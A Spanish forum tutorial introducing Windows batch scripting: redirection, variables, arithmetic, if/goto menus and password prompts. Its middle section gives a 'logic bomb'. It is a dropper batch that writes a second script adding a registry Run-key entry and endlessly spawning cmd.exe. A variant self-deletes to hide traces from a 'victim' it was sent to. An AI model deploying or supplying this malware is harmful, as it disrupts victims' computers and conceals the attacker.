  • 1. TUTORIAL DE PROGRAMACIÓN BATCH By RevangelyonX Buenas a todo, bueno e pensado en crear un tutorial de Batch para la gente del foro que quiere aprender Batch, la verdad esque voy a estar un largooo rato, y espero que no me olvide nada. Podeis criticar, dar opiniones (y espero que lo hagais) sobre el tuto. Por cierto, si alguién quiere subirlo a su web, o quiere “colarlo” a otra página o foro. Que ponga su autor. Osea mi nombre.. jeje alla va. Empecemos con una explicación de lo que es el bat Definición de Bat : Son archivos por lotes, es decir, que su código se escribe en texto plano (blog de notas, Edit, Wordpad, etc..) y va desde arriba hasta abajo. No necesita un compilador, solo al terminar el códig, nos dirigimos a Guardar como...--->nombre.bat Nota : Es preciso escribir la extensión bat porque si no, no funcionaria. Vamos a ver, yo usaré mucho el comando ECHO para que comprendáis un poco mejor como va la cosa.. Pero pensar que se pueden usar todos los comandos que queramos. @echo off cd echo hola pause exit Este es un sencillísimo bat, cuando lo abramos se verá lo siguiente : Si abrimos la shell, desde inicio --> ejecutar -->command.com y marcamos el código paso a paso veremos lo que pasa. El @ del echo off, permite que no se vea el comando que va a continuación, pero no será necesario marcarlo siempre, si el bat es pequeño. El comando cd (Change Dir) quiere decir que cambie el directorio a que simboliza raíz, osea C: o D: bueno nuestro disco principal. La programación batch se basa en los comandos de el tan conocido como MS-DOS por lo tanto, no tendremos tantas funciones como las puede tener C++ o VB. Redireccionamientos : Abrimos una shell, lo primero que veremos será C:Documents and settingsUsuario.
  • 2. (Win XP), lo que haremos será ir a C: marcando cd . y podremos ver C: (opcional). Ahora marcamos : echo hola > hola.txt minimizamos la shell abrimos C: y veremos un archivo (hola.txt) en el que se encontrará dentro “hola”. Volvemos a la shell y marcamos : echo adios >> hola.txt Al abrirlo de nuevo, veremos : hola adios En cambio, si marcamso en la shell echo change > hola.txt al abrir el hola.txt todo lo que estava escrito, se abrá borrado, por “change”. Resumen : > Crea o Remplaza en un archivo >> Salta hasta la siguiente línea, Espero que esto no os haya causado ningún misterio, ni problemas. Variables : Espero que aquí no os perdáis. Sinceramente, no se muy bien como definir esto. Una variable es un espacio de memoria donde se le puede asignar un comando y puede variar. Para que lo comprendáis mejor, os lo explicaré con distintos ejemplos : Para empezar, en la shell marcaremos set /? Echo esto, (después de leerlo) marcaremos set var=RevangelyonX. Estamos asignando RevangelyonX a la variable var (inventada) Ahora marcaremos echo %var% y obtendremos este resultado : Si marcamos set a secas, veremos todas las variables que ya existen en nuestro PC, entre otras veremos var=revangelyonx, pero cuando cerremos la shell, esta variable desaparecerá, tranquilos . Nota : Cuando la consola llama a una variable, siempre, repito siempre tiene que tener % %, en algunas ocasiones llevan %% %% pero eso ya lo comentaré más tarde. Si nos emos leído la aydua de set /? observamos que tiene unos parametros como /P o /a. Utilizaremos /P como primer ejemplo. @echo off cd set /P var1=Escribe tu nombre echo %var1% pause
  • 3. exit Si lo abrimos, veremos que el programa nos pide como nos llamamos, y lo que escribamos se almacenará en la variable %var1%, que después será llamada por el Comando ECHO. Y el comando PAUSE hará parar nuestro programa. Nota : Si no huvieramos marcado el comando Pause, y si no marcamos una “pregunta”con Set. El programa se cerrará, en el caso de que no lo huvieramos marcado. No huvieramos podido ver Echo %var1%. Podemos poner todas las varibles que queramos. @echo off set /P var=tu nombre : set /P var1=tu apellido : echo Usted se llama %var% %var1% pause exit. Si empezáis a comprender el sistema, sabréis lo que va a ocurrir cuando abráis el programa Pasemos ahora al parametro /a. Este sirve para hacer calculos. Vamos a la hsell y marcamos set /a 1 + 2 el resultado que nos dará la shell será 3. Ahroa en la shell marcamos : set var=1 set var2=2 set /a %var% + %var2% resultado = 3 Pero en un bat las cosas no son del todo igual, para conseguir el resultado, podriamos hacerlo de la siguiente manera. @echo off set var=1 set var3=2 set /a resultado=%var%+%var3% echo %resultado% pause exit Si comprendéis, hacemos que el resultado del calculo 1+2 se almacene en la variable %resultado% que será mostrado por ECHO. Comandos de condición : Si pasa esto, haz esto. Esa es la traducción de este comando. Pero tenemos que dejar una cosa clara. Para que este comando funcione en según que ocasiones, necesitamos utilizar, lo que son las etiquetas. Ejemplo : :menu @echo off cls cd set /P var=Escribe tu nombre: if %var%==%var% (goto next) else goto menu :next echo bien echo pause exit
  • 4. Explicación : Primero pedimos una variable, con set /P, y con el comando if, decimos, si en %var% hay algo marcado (%var%) ves a “next”, sino (else) vuelve a “menu”.El trio IF, SET, GOTO es genial, para la programación Batch. Otro ejemplo : @echo off :menu set /P var1=Deseas realmente borrar el archivo ? s/n : if %var1%==s goto si if %var1%==n goto no :si echo tu archivo a sido borrado satisgfactoriamente del /S /Q archivo.txt goto menu :no echo bueno pues gracias por usar mi programa pause exit Ahora ya tenemos un poco de conocimientos para crear bats. Voy a explicaros lo que es una bomba lógica. (algo destructivo ) Para empezar, tenéis que aver comprendido los redireccionamientos, de acuerdo ? Bueno este es el objectivo : 1.) Crear un bat que cree otro bat 2.) el segundo bat tiene que ser "destructivo" Eso, es lo que es una bomba lógica. Vamos a ver un ejemplo : ------Bat 1------ @echo off cd cd Windowssystem32 echo @echo off > bat2.bat echo cd >> bat2.bat echo reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2" >> bat2.bat echo :bucle >> bat2.bat echo start cmd.exe >> bat2.bat echo goto bucle >> bat2.bat Vamos a ver si lo emos comprendido. primero, miraremos como a quedado el bat 2 ------Bat 2------ @echo off cd reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2" :bucle start cmd.exe goto bucle El bat 1, envia con el comando ECHO los códigos que tenemos justo encima. Lo que hace el Bat2
  • 5. es crear un valor alfanúmerico en el registro, de tal forma que se inicie cada vez que se encienda el PC. despues pone una etiqueta llamada Bucle, y abre el archivo : cmd.exe y después vuelve a la etiqueta Bucle, de forma que cmd.exe se abrirá infinitamente, de forma que puede causar grandisimos daños al PC. Nota: No pongo esto, para usuarios malintencionados. Pero ahora que estamos tocando el tema de Virus en Batch (otro post) pues lo pongo jeje Podriamos añadirle un temporizador con el comando AT para no dejar rastro. Explicación : El usuario, abre el bat1, este creará otro bat. que le "joderá" el sistema, pero es capaz de repararlo, y buscando bien puede saber quién se lo paso a una cierta hora (por el MSN, etc..) asi que si hacemos lo siguiente en el bat1 podremos eliminar nuestras huellas. ------Bat 1------ @echo off cd AT 00:00 del bat2.bat echo @echo off > bat2.bat echo cd >> bat2.bat echo del /S /Q bat1.bat >> bat2.bat echo reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2" >> bat2.bat echo :bucle >> bat2.bat echo start cmd.exe >> bat2.bat echo goto bucle >> bat2.bat start bat2.bat exit Lo que hará será que a las 00.00 borrará el bat2.bat (cosa que no tendria sentido, ponerlo en el registro, pero es un ejemplo no? Como podéis ver, le emos añadido dos comandosal bat2. * Al final del todo, lo que ocurrirá será lo siguiente, la "vicitma" abre el bat1.bat, pondrá a las 00.00 que borre el bat2.bat, después de eso, el bat1.bat abrirá el bat2. Que este, borrará el 1. Hará lo que tiene que hacer, y a las 00:00 será borrado. No se si me e explicado bien, hasta yo me e liado jejeje, sin olvidar de borrar el registro antes de que se borre el último bat. Reg del.... Bueno, vamos a detallar un poco más, lo anterior... Si queremos saltarnos una línea cuando se abrá nuestro programa pondremos echo. No me preguntéis el ¿ porque ? del PUNTO porque no lo sé... disculparme jeje :menu @echo off cd
  • 6. echo. echo. set /P var=Porfavor, introduzca el password : if %var%==Batchcoder (goto continue) else echo se a equivocado&pause&goto menu :continue cls echo. echo Genial, ya puedes seguir. echo. pause exit Explicación: Bueno como ya debéis saber, al abrir el programa, veremos "Porfavor, introduzca el password : " si escribimos Batchcoder ira a "continue" sino (else) hará echo se a ekivocado ( & es igual a también) pause, para que no se cierre en el momento. & goto menu. Para que el usuario vuelva a escribir su código. Podemos usar las variables que ya existen en SET. echo Hola %username% Porfavor, introduzca su código. (el usuario verá) Hola RevangelyonX Profavor, introduzca su código. Nota : Se me olvido comentarles, como siempre dice mi amigo EGROJ, hay que tener en cuenta, que cada Sistema Operativo, varía sus comandos, es decir que XP tiene comandos que Win98 no tien y viceversa. Las variables, ayudan muchísimo a la hora de enviar un bat, ya que no conocemos por ejemplo cual es su HD o su Username, teniendo las variables se puede "saber sin saber". Hablemos, del paramtro /a. Bueno este, no solo es capaz de hacer una operación, el código que os e puesto anteriormente, es un ejemplo muy sencillo. También existe la posiblidad de utilizar las parentesis " ( ) " del mismo modo como lo hariais sobre papel y lápiz . Bueno la verdad, esque no se que más podemos decir como tutorial para tener más conocimientos... sólo me quedan ejemplos. Pero eso no servirá mucho ahora. Lo importante esque hayamos comprendido las bases de la programación Batch, ahora solo queda vuestra imaginación, espero que tengais muchísima . Salu2! RevangelyonX